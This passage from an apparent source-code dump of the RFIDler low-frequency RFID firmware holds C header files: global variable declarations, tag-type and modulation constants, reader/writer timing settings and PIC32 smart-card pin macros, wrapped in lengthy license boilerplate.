that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include <stdio.h>\n#include <string.h>\n\n// BCD hardware revision for usb descriptor (usb_descriptors.c)\n#define RFIDLER_HW_VERSION        0x020\n\n// max sizes in BITS\n#define MAXBLOCKSIZE        512\n#define MAXTAGSIZE          4096\n#define MAXUID              512\n\n#define TMP_LARGE_BUFF_LEN  2048\n#define TMP_SMALL_BUFF_LEN  256\n#define ANALOGUE_BUFF_LEN   8192\n\n#define COMMS_BUFFER_SIZE   128\n\n#define DETECT_BUFFER_SIZE  512\n\n#define SAMPLEMASK          ~(BIT_1 | BIT_0)    // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period\n\n// globals\n\nextern BOOL             WiegandOutput;                      // Output wiegand data whenenver UID is read\nextern BYTE             *EMU_Reset_Data;                    // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*'  terminated\nextern BYTE             *EMU_Data;                          // Pointer to current location in EMU_Reset_Data\nextern BYTE             EMU_ThisBit;                        // The next data bit to transmit\nextern BYTE             EMU_SubCarrier_T0;                  // Number of Frame Clocks for sub-carrier '0'\nextern BYTE             EMU_SubCarrier_T1;                  // Number of Frame Clocks for sub-carrier '1'\nextern unsigned int     EMU_Repeat;                         // Number of times to transmit full data set\nextern BOOL             EMU_Background;                     // Emulate in the background until told to stop\nextern unsigned int     EMU_DataBitRate;                    // Number of Frame Clocks per bit\nextern BYTE             TmpBits[TMP_LARGE_BUFF_LEN];        // Shared scratchpad\nextern BYTE             ReaderPeriod;                       // Flag for sample display\nextern unsigned char    Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer\nextern BYTE             Interface;                          // user interface - CLI or API\nextern BYTE             CommsChannel;                       // user comms channel - USB or UART\nextern BOOL             FakeRead;                           // flag for analogue sampler to signal it wants access to buffers during read\nextern BOOL             PWD_Mode;                           // is this tag password protected?\nextern BYTE             Password[9];                        // 32 bits as HEX string set with LOGIN\nextern unsigned int     Led_Count;                          // LED status counter, also used for entropy\nextern unsigned long    Reader_Bit_Count;                   // Reader ISR bit counter\nextern char             Previous;                           // Reader ISR previous bit type\n\n// RWD (read/write device) coil state\nextern BYTE             RWD_State;                              // current state of RWD coil\nextern unsigned int     RWD_Fc;                                 // field clock in uS\nextern unsigned int     RWD_Gap_Period;                         // length of command gaps in OC5 ticks\nextern unsigned int     RWD_Zero_Period;                        // length of '0' in OC5 ticks\nextern unsigned int     RWD_One_Period;                         // length of '1' in OC5 ticks\nextern unsigned int     RWD_Sleep_Period;                       // length of initial sleep to reset tag in OC5 ticks\nextern unsigned int     RWD_Wake_Period;                        // length required for tag to restart in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_TX_RX;                  // length to wait when switching from TX to RX in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_RX_TX;                  // length to wait when switching from RX to TX in OC5 ticks\nextern unsigned int     RWD_Post_Wait;                          // low level ISR wait period in OC5 ticks\nextern unsigned int     RWD_OC5_config;                         // Output Compare Module settings\nextern unsigned int     RWD_OC5_r;                              // Output Compare Module primary compare value\nextern unsigned int     RWD_OC5_rs;                             // Output Compare Module secondary compare value\nextern BYTE             RWD_Command_Buff[TMP_SMALL_BUFF_LEN];   // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated\nextern BYTE             *RWD_Command_ThisBit;                   // Current command bit\nextern BOOL             Reader_ISR_State;                       // current state of reader ISR\n\n// NVM variables\n// timings etc. that want to survive a reboot should go here\ntypedef struct {\n    BYTE            Name[7];  // will be set to \"RFIDler\" so we can test for new device\n    BYTE            AutoRun[128]; // optional command to run at startup\n    unsigned char   TagType;\n    unsigned int    PSK_Quality;\n    unsigned int    Timeout;\n    unsigned int    Wiegand_Pulse;\n    unsigned int    Wiegand_Gap;\n    BOOL            Wiegand_IdleState;\n    unsigned int    FrameClock;\n    unsigned char   Modulation;\n    unsigned int    DataRate;\n    unsigned int    DataRateSub0;\n    unsigned int    DataRateSub1;\n    unsigned int    DataBits;\n    unsigned int    DataBlocks;\n    unsigned int    BlockSize;\n    unsigned char   SyncBits;\n    BYTE            Sync[4];\n    BOOL            BiPhase;\n    BOOL            Invert;\n    BOOL            Manchester;\n    BOOL            HalfDuplex;\n    unsigned int    Repeat;\n    unsigned int    PotLow;\n    unsigned int    PotHigh;\n    unsigned int    RWD_Gap_Period;\n    unsigned int    RWD_Zero_Period;\n    unsigned int    RWD_One_Period;\n    unsigned int    RWD_Sleep_Period;\n    unsigned int    RWD_Wake_Period;\n    unsigned int    RWD_Wait_Switch_TX_RX;\n    unsigned int    RWD_Wait_Switch_RX_TX;\n} StoredConfig;\n\n// somewhere to store TAG data. this will be interpreted according to the TAG\n// type.\ntypedef struct {\n    BYTE   TagType;            // raw tag type\n    BYTE   EmulatedTagType;    // tag type this tag is configured to emulate\n    BYTE   UID[MAXUID + 1];    // Null-terminated HEX string\n    BYTE   Data[MAXTAGSIZE];   // raw data\n    unsigned char   DataBlocks;         // number of blocks in Data field\n    unsigned int    BlockSize;          // blocksize in bits\n} VirtualTag;\n\nextern StoredConfig RFIDlerConfig;\nextern VirtualTag RFIDlerVTag;\nextern BYTE TmpBuff[NVM_PAGE_SIZE];\nextern BYTE DataBuff[ANALOGUE_BUFF_LEN];\nextern unsigned int DataBuffCount;\nextern const BYTE *ModulationSchemes[];\nextern const BYTE *OnOff[];\nextern const BYTE *HighLow[];\nextern const BYTE *TagTypes[];\n\n// globals for ISRs\nextern BYTE EmulationMode;\nextern unsigned long HW_Bits;\nextern BYTE HW_Skip_Bits;\nextern unsigned int PSK_Min_Pulse;\nextern BOOL PSK_Read_Error;\nextern BOOL Manchester_Error;\nextern BOOL SnifferMode;\nextern unsigned int Clock_Tick_Counter;\nextern BOOL Clock_Tick_Counter_Reset;\n\n// smart card lib\n#define MAX_ATR_LEN\t\t\t(BYTE)33\nextern BYTE scCardATR[MAX_ATR_LEN];\nextern BYTE scATRLength;\n\n// RTC\nextern rtccTime\tRTC_time;\t\t\t// time structure\nextern rtccDate\tRTC_date;\t\t\t// date structure\n\n// digital pots\n#define POTLOW_DEFAULT      100\n#define POTHIGH_DEFAULT     150\n#define DC_OFFSET           60                 // analogue circuit DC offset (as close as we can get without using 2 LSB)\n#define VOLTS_TO_POT        0.019607843F\n\n// RWD/clock states\n#define                 RWD_STATE_INACTIVE              0       // RWD not in use\n#define                 RWD_STATE_GO_TO_SLEEP           1       // RWD coil shutdown request\n#define                 RWD_STATE_SLEEPING              2       // RWD coil shutdown for sleep period\n#define                 RWD_STATE_WAKING                3       // RWD active for pre-determined period after reset\n#define                 RWD_STATE_START_SEND            4       // RWD starting send of data\n#define                 RWD_STATE_SENDING_GAP           5       // RWD sending a gap\n#define                 RWD_STATE_SENDING_BIT           6       // RWD sending a data bit\n#define                 RWD_STATE_POST_WAIT             7       // RWD finished sending data, now in forced wait period\n#define                 RWD_STATE_ACTIVE                8       // RWD finished, now just clocking a carrier\n\n// reader ISR states\n#define                 READER_STOPPED                  0       // reader not in use\n#define                 READER_IDLING                   1       // reader ISR running to preserve timing, but not reading\n#define                 READER_RUNNING                  2       // reader reading bits\n\n\n// user interface types\n#define INTERFACE_API                   0\n#define INTERFACE_CLI                   1\n\n// comms channel\n#define COMMS_NONE                      0\n#define COMMS_USB                       1\n#define COMMS_UART                      2\n\n#define MAX_HISTORY                     2 // disable most of history for now - memory issue\n\n// tag write retries\n#define TAG_WRITE_RETRY                 5\n\n// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this\n#define MOD_MODE_NONE                   0\n#define MOD_MODE_ASK_OOK                1\n#define MOD_MODE_FSK1                   2\n#define MOD_MODE_FSK2                   3\n#define MOD_MODE_PSK1                   4\n#define MOD_MODE_PSK2                   5\n#define MOD_MODE_PSK3                   6\n\n// TAG types - update TagTypes[] in tags.c if you add to this list\n#define TAG_TYPE_NONE                   0\n#define TAG_TYPE_ASK_RAW                1\n#define TAG_TYPE_FSK1_RAW               2\n#define TAG_TYPE_FSK2_RAW               3\n#define TAG_TYPE_PSK1_RAW               4\n#define TAG_TYPE_PSK2_RAW               5\n#define TAG_TYPE_PSK3_RAW               6\n#define TAG_TYPE_HITAG1                 7\n#define TAG_TYPE_HITAG2                 8\n#define TAG_TYPE_EM4X02                 9\n#define TAG_TYPE_Q5                     10\n#define TAG_TYPE_HID_26                 11\n#define TAG_TYPE_INDALA_64              12\n#define TAG_TYPE_INDALA_224             13\n#define TAG_TYPE_UNIQUE                 14\n#define TAG_TYPE_FDXB                   15\n#define TAG_TYPE_T55X7                  16      // same as Q5 but different timings and no modulation-defeat\n#define TAG_TYPE_AWID_26                17\n#define TAG_TYPE_EM4X05                 18\n#define TAG_TYPE_TAMAGOTCHI             19\n#define TAG_TYPE_HDX                    20      // same underlying data as FDX-B, but different modulation & telegram \n#define TAG_TYPE_PAXTON                 21      // same as em4x02 with different displayed value\n\n// various\n\n#define BINARY                          0\n#define HEX                             1\n\n#define NO_ADDRESS                      -1\n\n#define ACK                             TRUE\n#define NO_ACK                          FALSE\n\n#define BLOCK                           TRUE\n#define NO_BLOCK                        FALSE\n\n#define DATA                            TRUE\n#define NO_DATA                         FALSE\n\n#define DEBUG_PIN_ON                    HIGH\n#define DEBUG_PIN_OFF                   LOW\n\n#define FAST                            FALSE\n#define SLOW                            TRUE\n\n#define NO_TRIGGER                      0\n\n#define LOCK                            TRUE\n#define NO_LOCK                         FALSE\n\n#define NFC_MODE                        TRUE\n#define NO_NFC_MODE                     FALSE\n\n#define ONESHOT_READ                    TRUE\n#define NO_ONESHOT_READ                 FALSE\n\n#define RESET                           TRUE\n#define NO_RESET                        FALSE\n\n#define SHUTDOWN_CLOCK                  TRUE\n#define NO_SHUTDOWN_CLOCK               FALSE\n\n#define SYNC                            TRUE\n#define NO_SYNC                         FALSE\n\n#define VERIFY                          TRUE\n#define NO_VERIFY                       FALSE\n\n#define VOLATILE                        FALSE\n#define NON_VOLATILE                    TRUE\n\n#define NEWLINE                         TRUE\n#define NO_NEWLINE                      FALSE\n\n#define WAIT                            TRUE\n#define NO_WAIT                         FALSE\n\n#define WIPER_HIGH                      0\n#define WIPER_LOW                       1\n\n// conversion for time to ticks\n#define US_TO_TICKS                     1000000L\n#define US_OVER_10_TO_TICKS             10000000L\n#define US_OVER_100_TO_TICKS            100000000L\n// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it\n#define CONVERT_TO_TICKS(x)             ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))\n#define CONVERT_TICKS_TO_US(x)          (x / (GetSystemClock() / US_TO_TICKS))\n#define TIMER5_PRESCALER                16\n#define MAX_TIMER5_TICKS                (65535 * TIMER5_PRESCALER)\n\n// other conversions\n\n// bits to hex digits\n#define HEXDIGITS(x)                    (x / 4)\n#define HEXTOBITS(x)                    (x * 4)\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/rwd.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\nvoid rwd_set_pwm(unsigned long fc, unsigned long sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int wait_txrx, unsigned int wait_rxtx);\nBOOL rwd_send(unsigned char *command, unsigned int length, BOOL reset, BOOL block, BYTE initial_state, unsigned int fc, unsigned int sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int post_wait);\nvoid rwd_test(BYTE *pass);\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/sc_config.h",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n\r\n// note this needs fixing to co-exist with RFID coil timers\r\n\r\n#include \"HardwareProfile.h\"\r\n\r\n#define SYS_FREQ    GetSystemClock()\r\n//#define SYS_FREQ 64000000UL\r\n\r\n// Note : FCY denotes the instruction cycle clock frequency (SYS_FREQ/2)\"\r\n//#define FCY GetInstructionClock()\r\n#define FCY (SYS_FREQ)\r\n\r\n#include \"p32xxxx.h\"\r\n\r\n// Enable Port Pin of Micro as Vcc for Smart Card\r\n#define  ENABLE_SC_POWER_THROUGH_PORT_PIN\r\n\r\n// Set Clock Freq to drive Smart Card - we want 4MHz\r\n#define Scdrv_ClockSet()            (TMR2 = 0, T2CON = T2_SOURCE_INT | T2_32BIT_MODE_OFF | T2_PS_1_1, PR2 = 19, OC2R = 10, OC2RS= 10, TRISDbits.TRISD1 = 0, OC2CON = OC_PWM_FAULT_PIN_DISABLE | OC_TIMER2_SRC | OC_TIMER_MODE16)\r\n\r\n//Enable UART\r\n#define SCdrv_EnableUART()\t    \t(U1MODEbits.UARTEN = 1)\r\n\r\n// Enable Clock to drive Smart Card\r\n#define SCdrv_EnableClock()\t    \t(OC2CONbits.ON = 1,T2CONbits.ON = 1)\r\n\r\n// Disable Clock used to drive Smart Card\r\n#define SCdrv_DisableClock()\t    (OC2CONbits.ON = 0,T2CONbits.ON = 0,TMR2 = 0)\r\n\r\n// Set Clock Freq to drive Smart Card\r\n#define SCdrv_EnableDelayTimerIntr()   (IPC1bits.T1IP = 3,IPC1bits.T1IS = 1,IFS0bits.T1IF = 0,T1CON = 0x0030,PR1 = 0xFFFF,IEC0bits.T1IE = 1,INTConfigureSystem(INT_SYSTEM_CONFIG_MULT_VECTOR),INTEnableInterrupts())\r\n\r\n// One count of timer 1 corresponds to how much micro seconds...\r\n#define TIMER1_SINGLE_COUNT_MICRO_SECONDS\t(BYTE)(256/(FCY/1000000UL))\r\n\r\n// Enable Clock to drive Smart Card\r\n#define SCdrv_SetDelayTimerCnt(count)\t    (TMR1 = count)\r\n\r\n// Enable Clock to drive Smart Card\r\n#define SCdrv_EnableDelayTimer()\t    \t(T1CONbits.TON = 1)\r\n\r\n// Disable Clock used to drive Smart Card\r\n#define SCdrv_DisableDelayTimer()\t    \t(T1CONbits.TON = 0)\r\n\r\n//Reference Clock Circuit - Input Clock\r\n#define REF_CLOCK_CIRCUIT_INPUT_CLK    \t\tFCY\r\n\r\n//Reference Clock Circuit - Input Clock\r\n#define REF_CLOCK_POWER2_VALUE      \t\t(BYTE)0\r\n\r\n//Reference Clock Circuit - Input Clock\r\n#define REF_CLOCK_DIVISOR_VALUE      \t\t(BYTE)PR2\r\n\r\n// Frequency of clock given to smart card\r\n#define REF_CLOCK_TO_SMART_CARD\t\t\t\t(unsigned long)(FCY/(PR2 + 1))\r\n\r\n//Turn on 1/off 0 card power\r\n#define SCdrv_SetSwitchCardPower(x) \t\t\t(LATBbits.LATB9=(x))\r\n\r\n//set reset state to the value x\r\n#define SCdrv_SetSwitchCardReset(x) \t\t\t(LATEbits.LATE8=(x))\r\n\r\n//set tx pin to the value x\r\n#define SCdrv_SetTxPinData(x) \t\t\t\t\t(LATFbits.LATF8=(x))\r\n\r\n//Get Smart Card Present status\r\n//#define SCdrv_CardPresent()\t      \t\t\t\t(PORTBbits.RB0 || !PORTBbits.RB1)\r\n// we don't have a microswitch, so always present\r\n#define SCdrv_CardPresent()                             (TRUE)\r\n\r\n//Get Rx Pin Data\r\n#define SCdrv_GetRxPinData()               \t\t(PORTFbits.RF2)\r\n\r\n//Set Tx Pin direction\r\n#define SCdrv_TxPin_Direction(flag)    \t\t\t(TRISFbits.TRISF8 = flag)\r\n\r\n//Set Power Pin direction connected to the smart card\r\n#define SCdrv_PowerPin_Direction(flag) \t\t\t(TRISBbits.TRISB9 = flag)\r\n\r\n//Set Reset Pin direction connected to the smart card\r\n#define SCdrv_ResetPin_Direction(flag) \t\t\t(TRISEbits.TRISE8 = flag)\r\n\r\n//Set Card Present Pin direction connected to the smart card\r\n//#define SCdrv_CardPresent_Direction(flag) \t\t(TRISBbits.TRISB0 = flag)\r\n#define SCdrv_CardPresent_Direction(flag)\r\n\r\n//Set Sim Present Pin direction connected to the smart card\r\n//#define SCdrv_SimPresent_Direction(flag) \t\t(TRISBbits.TRISB1 = flag)\r\n#define SCdrv_SimPresent_Direction(flag)\r\n\r\n// Enable Pull up at Tx Pin\r\n#define SCdrv_EnableTxPinPullUp()\r\n\r\n// Enable Pull up at Rx Pin\r\n#define SCdrv_EnableRxPinPullUp()\r\n\r\n// Enable Pull up for SMART_CARD_DETECTION\r\n//#define SCdrv_EnableCardPresentPinPullUp()\t\t(CNPUEbits.CNPUE2 = 1)\r\n#define SCdrv_EnableCardPresentPinPullUp()\r\n\r\n// Enable Pull up for SIM_CARD_DETECTION\r\n//#define SCdrv_EnableSimPresentPinPullUp()\t\t(CNPUEbits.CNPUE3 = 1)\r\n#define SCdrv_EnableSimPresentPinPullUp()\r\n\r\n// Disable Pull up at Tx Pin\r\n#define SCdrv_DisableTxPinPullUp()\r\n\r\n// Disable Pull up at Rx Pin\r\n#define SCdrv_DisableRxPinPullUp()\r\n\r\n// MAP UART Rx Pin\r\n#define MapUART1RxPin()\r\n\r\n// MAP UART Tx Pin\r\n#define MapUART1TxPin()\r\n\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/sdcard.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into 